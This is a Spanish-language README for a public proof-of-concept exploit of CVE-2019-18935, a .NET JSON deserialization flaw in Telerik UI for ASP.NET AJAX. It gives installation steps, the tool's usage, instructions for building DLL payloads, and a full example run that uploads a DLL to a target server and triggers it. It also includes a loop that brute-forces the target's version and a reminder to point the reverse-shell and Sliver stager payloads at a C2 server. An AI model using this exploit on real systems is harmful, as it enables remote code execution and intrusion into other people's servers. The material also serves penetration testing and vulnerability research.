
Exploit RCE para una vulnerabilidad de deserialización JSON de .NET en Telerik UI para ASP.NET AJAX.
Exploit de prueba de concepto para una vulnerabilidad de deserialización JSON en .NET en Telerik UI para ASP.NET AJAX que permite la ejecución remota de código.
Telerik UI para ASP.NET AJAX es un conjunto ampliamente utilizado de componentes de interfaz de usuario para aplicaciones web. Deserializa de manera insegura objetos JSON de una manera que resulta en la ejecución remota arbitraria de código en el host subyacente del software. Para más información, consulte:
Necesitará tener instalados Visual Studio y .NET Framework SDK para compilar cargas útiles DLL de ensamblado .NET en modo mixto usando build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Este exploit aprovecha la lógica de cifrado de RAU_crypto. La clase RAUCipher dentro de RAU_crypto.py depende de PyCryptodome, un reemplazo directo del módulo PyCrypto difunto. PyCryptodome y PyCrypto crean problemas cuando se instalan en el mismo entorno, por lo que la mejor manera de cumplir con esta dependencia es instalar el módulo dentro de un entorno virtual, como se muestra arriba.
Apunte la línea 17 de build-dll.bat a la ruta de su instalación de Visual Studio.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Algunas cargas útiles (por ejemplo, reverse-shell.c y sliver-stager.c) requieren que configure los campos HOST y PORT para que apunten a su servidor C2; ¡asegúrese de hacerlo!
En un entorno Windows con Visual Studio instalado, use build-dll.bat para generar DLL de ensamblado en modo mixto de 32 y 64 bits para usar como carga útil durante la deserialización. Opcionalmente, puede especificar una arquitectura de CPU de destino como segundo argumento de CLI (por ejemplo, x86).
build-dll.bat sleep.c
Pase la DLL generada anteriormente a CVE-2019-18935.py, que subirá la DLL a un directorio en el servidor de destino (siempre que el servidor web tenga permisos de escritura en ese directorio) y luego cargará esa DLL en la aplicación mediante el exploit de deserialización insegura.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
En el ejemplo anterior, la aplicación tardó al menos 10 segundos en responder, lo que indica que la carga útil DLL invocó correctamente Sleep(10000).
Como se detalla en la charla DerpCon .NET Roulette (39:46), podemos usar fuerza bruta para encontrar la versión de Telerik UI especificando solo la versión major del ensamblado Telerik.Web.UI (es decir, la parte 2017 de la cadena de versión completa 2017.2.503.40) al subir un archivo. Esta técnica reduce drásticamente el espacio de búsqueda en comparación con la fuerza bruta de cada versión específica de este software y, como beneficio adicional, incluso puede detectar versiones que no están explícitamente listadas en el historial de versiones de este software. Obtenga más información sobre el versionado de ensamblados .NET en MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018: